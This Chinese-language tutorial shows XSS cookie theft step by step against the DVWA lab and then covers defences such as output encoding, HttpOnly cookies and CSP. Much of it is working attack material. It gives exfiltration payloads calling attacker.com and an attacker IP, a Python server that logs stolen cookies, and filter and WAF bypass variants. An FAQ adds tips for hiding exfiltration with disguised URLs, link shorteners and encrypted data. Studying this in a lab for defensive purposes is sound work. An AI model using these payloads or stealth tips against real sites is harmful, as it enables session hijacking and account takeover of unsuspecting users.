1. 项目概述一次关于XSS与Cookie窃取的真实攻防推演在网络安全领域跨站脚本攻击XSS就像一把能打开用户隐私大门的“万能钥匙”而Cookie则是这扇门后最直接的通行证。今天要聊的不是纸上谈兵的理论而是一次基于真实攻防场景的深度推演如何利用XSS漏洞将用户的Cookie“悄无声息”地搬运到攻击者自己的服务器上。这个话题听起来有些敏感但它的价值恰恰在于“知己知彼”——只有透彻理解攻击者是如何一步步得手的我们作为开发者、运维或安全爱好者才能筑起真正有效的防线。无论是想入门渗透测试的新手还是希望加固自己SpringBoot应用的老手这次从攻击者视角出发的“实战复盘”都能让你对XSS的危害、Cookie的安全机制有颠覆性的认识。很多人对XSS窃取Cookie的理解还停留在scriptalert(document.cookie)/script这种弹窗演示阶段认为这不过是无害的“恶作剧”。但实际上攻击链条的完成度远不止于此。从发现一个可注入点到构造出能绕过基础过滤的Payload再到搭建一个能稳定接收数据的远程服务器最后成功拿到Cookie并加以利用这中间每一个环节都充满了技术细节和对抗思路。本次推演将完全模拟攻击者的操作路径拆解其中用到的关键技术比如如何利用Image对象、XMLHttpRequest或window.open进行数据外带以及如何用Python快速搭建一个“接收端”。更重要的是我会分享在实际测试环境中如DVWA反复尝试后总结出的那些“坑点”和技巧这些是你在标准文档里很难看到的实战经验。2. 攻击原理与核心链条拆解2.1 为什么XSS能拿到Cookie要理解整个攻击必须从浏览器同源策略SOP和Cookie的存储机制说起。同源策略是浏览器最核心的安全基石之一它限制了来自不同源的文档或脚本如何交互。简单来说来自https://bank.com的脚本不能直接读取https://mail.com的数据。然而Cookie的存储和发送机制却在这里开了一个“口子”Cookie通常由服务器通过Set-Cookie响应头设置并被浏览器自动存储。关键点在于浏览器在向同一域名发起后续请求时会自动将与该域名关联的Cookie附加在HTTP请求头中这个过程不需要脚本显式操作。XSS攻击正是钻了这个“自动携带”机制的空子。攻击者通过在受害网站上注入恶意JavaScript代码这段代码在受害用户的浏览器上下文中执行。由于代码是在目标网站例如https://vulnerable-site.com的页面内运行的因此它完全拥有访问该页面DOM、包括document.cookie属性的权限。此时同源策略不再构成障碍因为恶意脚本与网站本身同源。攻击者编写的脚本可以轻易地读取document.cookie获取当前用户在该站点下的身份凭证。注意HttpOnly属性是防御此类攻击的关键。如果Cookie被标记为HttpOnly那么客户端JavaScript将无法通过document.cookie访问它。这迫使攻击者寻找其他攻击面但并不能完全杜绝XSS的危害因为攻击者仍可模拟用户操作如发起转账请求。2.2 数据外带如何把Cookie“送出去”读取到Cookie只是第一步如何将这份敏感数据传递到攻击者控制的服务器通常称为“攻击机”或“C2服务器”是完成攻击的关键这一步被称为“数据外带”Data Exfiltration。攻击者无法直接在受害者浏览器上写文件必须通过网络请求将数据发送出去。在实战中有几种经典且高效的方法Image对象请求这是最隐蔽、兼容性最好的方法之一。通过动态创建一个Image对象并将其src属性设置为攻击者的服务器地址并将Cookie作为URL参数拼接上去。浏览器会立即尝试加载这个“图片”从而向攻击者的服务器发起一个GET请求。new Image().src http://attacker.com/steal?c encodeURIComponent(document.cookie);这种方式之所以隐蔽是因为它不会引起页面跳转或弹出新窗口用户几乎感知不到。服务器端只需要记录访问日志即可获取Cookie。XMLHttpRequest / Fetch API这种方式更灵活可以发送POST请求能携带更多数据且更利于攻击者后端处理。var xhr new XMLHttpRequest(); xhr.open(POST, http://attacker.com/log, true); xhr.setRequestHeader(Content-Type, application/x-www-form-urlencoded); xhr.send(cookie encodeURIComponent(document.cookie));但它的限制在于可能会受到CORS跨源资源共享策略的阻拦。不过在许多简单场景或配置不当的服务器上它依然有效。表单提交与iframe创建一个隐藏的表单目标指向攻击者服务器然后自动提交。或者创建一个隐藏的iframe通过修改其src来发送请求。这种方法常用于发送大量数据。window.location 或 window.open这会导致浏览器导航或打开新窗口用户体验影响较大容易被察觉但在某些需要交互或盲打Blind XSS的场景下仍有应用。window.open(http://attacker.com/steal?c encodeURIComponent(document.cookie));在实际攻击中攻击者往往会根据目标网站的具体过滤规则对Payload进行各种混淆和变形例如将代码转换成HTML实体、使用String.fromCharCode、利用JavaScript事件如onerror、onload等以绕过WAFWeb应用防火墙或简单的输入过滤。2.3 攻击者服务器的角色接收与处理攻击链的最后一环是攻击者控制的服务器。它需要做两件事接收和存储。通常攻击者会使用一个带有公网IP的VPS虚拟专用服务器并在上面运行一个简单的HTTP服务来监听特定端口。接收服务器监听一个端口如8080等待来自受害者浏览器的HTTP请求。当上面提到的恶意脚本被执行时浏览器发出的请求就会到达这个端口。存储服务器端脚本可以是Python、PHP、Node.js等解析请求从URL参数GET请求或请求体POST请求中提取出Cookie参数然后将其保存到文件或数据库中。一个极简的Python HTTP服务器示例如下它清晰地展示了接收过程# 使用Python3内置的http.server模块 import http.server import urllib.parse class MyHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): # 解析请求路径获取查询参数 parsed_path urllib.parse.urlparse(self.path) query_params urllib.parse.parse_qs(parsed_path.query) # 假设Cookie通过‘c’参数传递 stolen_cookie query_params.get(c, [])[0] if stolen_cookie: print(f[] 窃取到Cookie: {stolen_cookie}) # 这里可以将Cookie写入文件或数据库 with open(stolen_cookies.log, a) as f: f.write(stolen_cookie \n) # 返回一个响应例如一个1x1像素的透明GIF图片使请求更隐蔽 self.send_response(200) self.send_header(Content-Type, image/gif) self.end_headers() self.wfile.write(bGIF89a\x01\x00\x01\x00\x00\xff\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x00;) def log_message(self, format, *args): # 禁止默认的日志输出保持隐蔽 pass if __name__ __main__: server_address (0.0.0.0, 8080) # 监听所有网络接口的8080端口 httpd http.server.HTTPServer(server_address, MyHandler) print([*] 恶意服务器正在监听 0.0.0.0:8080 ...) httpd.serve_forever()这个服务器会安静地记录所有收到的Cookie并返回一个微小的图片使前端的Image请求看起来是成功的避免了因404错误而引起怀疑。3. 实战环境搭建与漏洞复现3.1 靶场选择与配置DVWA为了合法、安全地学习和研究我们必须在隔离的环境中进行。Damn Vulnerable Web Application (DVWA) 是一个极佳的PHP/MySQL靶场它故意包含了多种安全漏洞且允许用户调整安全等级Low, Medium, High, Impossible。我们选择其“存储型XSSStored XSS”模块进行复现。搭建步骤简述准备环境安装并配置好PHP5.4和MySQL。使用XAMPP、WAMP或Docker镜像如vulnerables/web-dvwa可以快速完成。部署DVWA将DVWA源码解压到Web服务器根目录如htdocs。数据库配置访问DVWA首页根据提示创建或配置数据库连接文件config/config.inc.php。登录默认凭证为admin/password。设置安全等级在DVWA Security页面将安全级别设置为“Low”。这个级别几乎没有任何防护方便我们理解最原始的攻击形态。3.2 攻击机准备简易HTTP服务器搭建在另一台机器或本机的另一个终端上我们需要搭建攻击接收服务器。上面已经给出了一个Python示例。这里再提供两种更快捷的方式方法一Python单行命令最快捷对于快速测试Python的http.server模块是神器。# Python3 python3 -m http.server 8080 # Python2 python2 -m SimpleHTTPServer 8080这条命令会在当前目录启动一个监听8080端口的HTTP服务器。所有访问日志会打印在终端。但它的功能很简单无法自定义请求处理逻辑来提取和保存Cookie。适合快速验证Payload是否触发了对外请求。方法二使用Netcat监听网络调试瑞士军刀Netcat (nc) 是一个强大的网络工具可以创建任意TCP/UDP连接和监听。nc -lvnp 8080-l监听模式-v详细输出-n不解析域名-p指定端口。当有连接进入时它会打印出原始的HTTP请求数据我们可以从中手动提取Cookie。这种方式非常原始但足够直观。对于正式的“攻击演练”我强烈推荐使用上面那个自定义的Python脚本。它更接近真实攻击场景能自动化地处理和存储数据。运行脚本前请确保你的攻击机防火墙开放了对应端口如8080并且拥有一个能让靶场访问到的IP地址如果是本地实验都用127.0.0.1即可。3.3 攻击Payload构造与注入现在进入核心环节。假设DVWA的存储型XSS页面有一个“Name”和“Message”输入框我们的目标是将恶意代码存入数据库当其他用户或管理员查看该页面时自动执行。基础Payload在安全级别为“Low”的DVWA中输入过滤几乎不存在。我们可以直接注入scriptnew Image().srchttp://攻击机IP:8080/?cencodeURIComponent(document.cookie);/script将其填入“Message”框并提交。一旦提交成功这段脚本就被存储到数据库。此后任何用户包括你自己浏览到包含这条留言的页面时脚本都会执行向你的攻击机服务器发送一个携带了该用户Cookie的请求。实操中的技巧与变形长度限制绕过有些输入框有前端maxlength限制。可以直接在浏览器开发者工具中修改该输入框的HTML属性移除maxlength或者直接通过Burp Suite等代理工具拦截并修改POST请求包。事件处理器利用如果script标签被过滤可以尝试使用HTML标签的事件属性。img src1 onerrorjavascript:var inew Image();i.srchttp://攻击机IP:8080/?cencodeURIComponent(document.cookie);这里构造了一个src无效的img标签其onerror事件会在图片加载失败时执行我们的JS代码。闭合与混淆应对简单的字符串过滤。例如如果网站转义了引号可以使用String.fromCharCode来构造字符串。scripteval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41))/script上面这段代码解码后就是alert(document.cookie)。对于外带URL也可以用同样方式混淆。注入过程实录确保DVWA安全级别为Low并进入“XSS (Stored)”页面。启动攻击机上的Python接收脚本确认监听端口如8080。在DVWA的“Name”字段随便输入如“test”在“Message”字段输入我们的恶意Payload例如img srcx onerrorwindow.open(http://192.168.1.100:8080/steal?cdocument.cookie)点击“Sign Guestbook”提交。提交后页面会刷新此时注入的代码已存入数据库。由于当前用户你自己也是浏览者脚本会立即执行。观察攻击机终端。如果网络通畅且Payload正确你应该会立刻看到一条访问记录并且steal?c后面的参数就是你的DVWA会话Cookie。为了模拟其他用户受害你可以退出登录或打开浏览器无痕窗口然后以访客身份再次浏览那个留言页面攻击机同样会收到新用户的Cookie。4. 深入Payload分析与高级绕过技巧4.1 常见Payload变种解析在实际渗透测试中直接使用基础Payload成功率很低。网站通常会部署一些过滤机制。下面分析几种高级变种及其应用场景利用svg标签SVG标签内可以包含脚本有时能绕过只针对script或常见HTML事件的过滤。svg/onloadlocation.hrefhttp://attacker.com/?cdocument.cookie利用details标签的ontoggle事件这是一个相对冷门的事件可能不被某些WAF规则覆盖。details open ontogglefetch(http://attacker.com/?cdocument.cookie)JavaScript伪协议在支持JavaScript协议的上下文如a href、iframe src中使用。a hrefjavascript:fetch(http://attacker.com/?cdocument.cookie)点击领奖/a基于DOM的XSS与外带有时漏洞点不在服务端渲染而在前端JS动态操作DOM时。Payload可能需要适应具体的JS代码逻辑。// 假设网站有类似代码document.getElementById(output).innerHTML userInput; // 那么Payload可以是 img src1 onerrorexfiltrate() scriptfunction exfiltrate(){new Audio().srchttp://attacker.com/?cdocument.cookie;}/script4.2 对抗过滤与WAF的实用技巧大小写混淆有些简单的正则匹配是大小写敏感的。ScRiPtalert(1)/ScRiPt IMG SRC1 ONERRORalert(1)双写绕过如果过滤方式是删除一次匹配到的字符串可以双写。scrscriptiptalert(1)/scr/scriptipt编码绕过HTML实体编码变成lt;变成gt;。但如果是在HTML标签属性内浏览器会先解码再执行。img src1 onerror#x61;#x6c;#x65;#x72;#x74;#x28;#x31;#x29;JavaScript Unicode转义在JS上下文中有效。\u0061\u006c\u0065\u0072\u0074(1)利用模板字符串和反引号现代JS语法可能绕过基于字符串拼接检测的规则。scriptfetch(http://attacker.com/?c${document.cookie})/script拆分与拼接将关键函数或字符串拆散在运行时拼接。script var a docu; var b ment; var c .coo; var d kie; var url http://attacker.com/?c window[ab][cd]; new Image().src url; /script4.3 盲打XSS与平台使用在“反射型XSS”或某些“存储型XSS”场景中我们无法立即看到执行结果例如Payload被提交到后台管理员查看的页面。这就是“盲打XSS”Blind XSS。我们需要一个稳定、可远程接收数据的平台。XSS平台的作用它是一个功能完善的攻击者服务器提供Payload生成、数据接收、管理界面等功能。你只需要从平台获取一个为你专属生成的短链接Payload将其注入到目标中。当漏洞被触发时平台会自动记录并展示受害者Cookie、IP、User-Agent、页面URL甚至页面截图等信息。使用流程在XSS平台如xss.tf、xsshs等请仅在授权测试中使用注册并创建一个项目。平台会生成一个类似script srchttp://你的平台域名/abc123/script的Payload。将此Payload注入到目标应用的可疑位置留言板、客服反馈、搜索框等。等待受害者通常是后台管理员触发漏洞。在平台管理界面查看捕获到的数据。与自建服务器的对比特性自建Python/Node.js服务器专业XSS平台上手难度中等需编码和部署简单开箱即用可控性完全控制可深度定制受平台功能限制隐蔽性取决于服务器配置和域名平台域名可能被安全软件标记功能丰富度基础需自行开发丰富自带数据管理、JS模块等适用场景学习原理、定制化攻击、内网测试快速实战、盲打、红队行动对于初学者从自建服务器开始能更深刻地理解数据流向。在实战中成熟的XSS平台效率更高。5. 从攻击到防御开发者视角的加固方案理解了攻击的全貌防御的思路就清晰了。防御的核心原则是不相信任何用户输入并对输出进行严格处理。5.1 输入过滤与输出编码输入过滤在数据进入应用逻辑前进行校验。但要注意过滤的规则必须严格且白名单化。例如对于用户名只允许字母数字对于留言内容可以过滤掉特定的HTML标签和JavaScript事件。然而完全依赖输入过滤是危险的因为上下文复杂容易绕过。输出编码这是更根本、更有效的措施。根据数据将要放置的上下文进行相应的编码。HTML上下文将、、、、等字符转换为HTML实体lt;,gt;,amp;,quot;,#x27;。JavaScript上下文使用\uXXXX进行Unicode转义或使用JSON.stringify。URL上下文使用百分比编码URL Encoding。CSS上下文进行严格的编码或验证。以SpringBoot为例如何避免XSS使用成熟的库不要自己写正则表达式过滤。推荐使用OWASP Java Encoder或ESAPI库。// 使用OWASP Java Encoder import org.owasp.encoder.Encode; Controller public class MyController { GetMapping(/safe) public String safePage(RequestParam String userInput, Model model) { // 对输出到HTML正文的内容进行编码 model.addAttribute(safeOutput, Encode.forHtml(userInput)); // 对输出到HTML属性中的内容进行编码 model.addAttribute(safeAttr, Encode.forHtmlAttribute(userInput)); // 对输出到JavaScript中的内容进行编码 model.addAttribute(safeJs, Encode.forJavaScript(userInput)); return page; } }模板引擎自动转义Thymeleaf、FreeMarker等现代模板引擎默认开启HTML转义。确保你不要使用不安全的指令如Thymeleaf的th:utext来输出未经验证的数据。HttpOnly与Secure Cookie为会话Cookie设置HttpOnly和Secure标志。// 在Spring Security配置或Servlet Filter中 Bean public CookieSerializer cookieSerializer() { DefaultCookieSerializer serializer new DefaultCookieSerializer(); serializer.setUseHttpOnlyCookie(true); serializer.setUseSecureCookie(true); // 仅HTTPS时传输 serializer.setSameSite(Strict); // 防止CSRF return serializer; }HttpOnly使得Cookie无法被JS读取直接废掉了本文讨论的绝大部分攻击方式。Secure强制Cookie仅通过HTTPS传输防止中间人窃听。5.2 内容安全策略内容安全策略CSP是一道强大的后防线。它通过HTTP响应头告诉浏览器哪些外部资源脚本、样式、图片等可以加载和执行。一个严格的CSP头部可以这样设置Content-Security-Policy: default-src self; script-src self https://trusted.cdn.com; object-src none;这个策略意味着default-src self默认只允许加载同源资源。script-src self https://trusted.cdn.com脚本只能来自同源或指定的可信CDN。object-src none完全禁止object、embed、applet等插件。即使攻击者成功注入了scriptalert(1)/script浏览器也会因为CSP的限制而拒绝执行它。CSP能极大缓解XSS的影响但配置需要谨慎错误的配置可能导致网站功能损坏。5.3 漏洞挖掘与自查清单作为开发者或安全人员可以定期进行自我检查代码审计检查所有用户输入点参数、头、表单、URL是否都经过了适当的验证和编码。依赖检查使用OWASP Dependency-Check等工具扫描项目第三方库的已知漏洞。自动化扫描在测试环境使用ZAP、Burp Suite等工具的主动扫描功能。手动测试在输入框尝试提交{}等特殊字符观察输出是否被原样显示或导致错误。Cookie检查确保所有敏感Cookie都设置了HttpOnly和Secure属性。CSP检查为生产环境部署合适的CSP策略并利用浏览器的CSP报告功能收集违规行为。6. 常见问题与排查实录在复现和测试过程中你肯定会遇到各种问题。以下是我踩过的一些坑和解决方案Q1: Payload提交了但攻击机没收到任何请求。检查网络确保靶场和攻击机IP互通本地环境用127.0.0.1。关闭防火墙或开放对应端口。检查Payload语法在浏览器开发者工具的Console中手动执行Payload里的JS代码看是否有语法错误。特别注意引号闭合和URL拼接。检查页面是否执行查看页面HTML源码确认注入的脚本是否被正确插入还是被HTML实体编码了如变成lt;。查看浏览器控制台打开开发者工具的Console和Network标签页。Console会报告JS错误Network会显示被浏览器阻止的跨域请求CORS错误。Q2: 收到了请求但Cookie参数为空。检查Cookie作用域document.cookie只能读取当前域名下的Cookie。确保你测试的页面域名和Cookie的域名匹配。检查HttpOnly如果Cookie设置了HttpOnlydocument.cookie将无法读取它。这是正常的也是有效的防御。检查路径Cookie可能有Path限制。确保你触发XSS的页面路径在Cookie的Path范围内。Q3: 在真实网站测试时Payload似乎被过滤或转义了。尝试编码和混淆使用前面提到的大小写、HTML实体、Unicode、拆分拼接等技巧。探测过滤规则先提交一些简单的测试字符串如test、“onerror”、javascript:观察输出结果判断是黑名单过滤还是转义。寻找其他注入点不要只盯着输入框。尝试URL参数、HTTP请求头如User-Agent、Referer、文件上传名等。Q4: 使用python -m http.server能收到请求但自定义Python脚本收不到。检查脚本绑定地址确保脚本绑定的是0.0.0.0所有接口而不是127.0.0.1仅本地环回。如果攻击机和靶场不在同一台机器必须绑定0.0.0.0。检查端口占用使用netstat -an | grep 8080Linux/Mac或netstat -ano | findstr 8080Windows查看端口是否被正确监听。检查请求处理逻辑你的do_GET方法是否正确解析了请求路径和参数是否发送了正确的HTTP响应浏览器可能会因为收到异常响应而中断请求。Q5: 如何更隐蔽地接收数据使用HTTPS自签名证书或使用云服务商提供的免费证书避免数据在传输中被明文嗅探。域名与路径伪装使用一个看起来正常的域名和路径如/api/collect.gif?ttrack伪装成统计请求。短链接服务将长Payload URL通过短链接服务缩短减少可疑性。数据加密在Payload中对Cookie进行简单的Base64或XOR加密在服务器端解密。Q6: 除了CookieXSS还能窃取什么XSS的危害远不止Cookie。在受害者浏览器上下文中执行的脚本几乎可以模拟用户的所有操作会话劫持使用窃取的Cookie直接登录用户账户。键盘记录监听页面的onkeypress事件。钓鱼动态伪造一个登录框诱骗用户输入密码。发起恶意请求以用户身份发起转账、修改密码、发布内容等CSRF攻击。获取本地存储读取localStorage、sessionStorage。浏览器信息收集获取用户插件列表、屏幕分辨率、时区等用于指纹识别。理解XSS窃取Cookie的完整链条是Web安全入门至关重要的一课。它像一把双刃剑既揭示了攻击者无孔不入的思路也为我们点亮了防御道路上必须堵住的每一个缺口。从今天起在写每一行处理用户输入的代码时都多问自己一句“如果这里被注入会发生什么” 这种安全意识比任何具体的技术都更重要。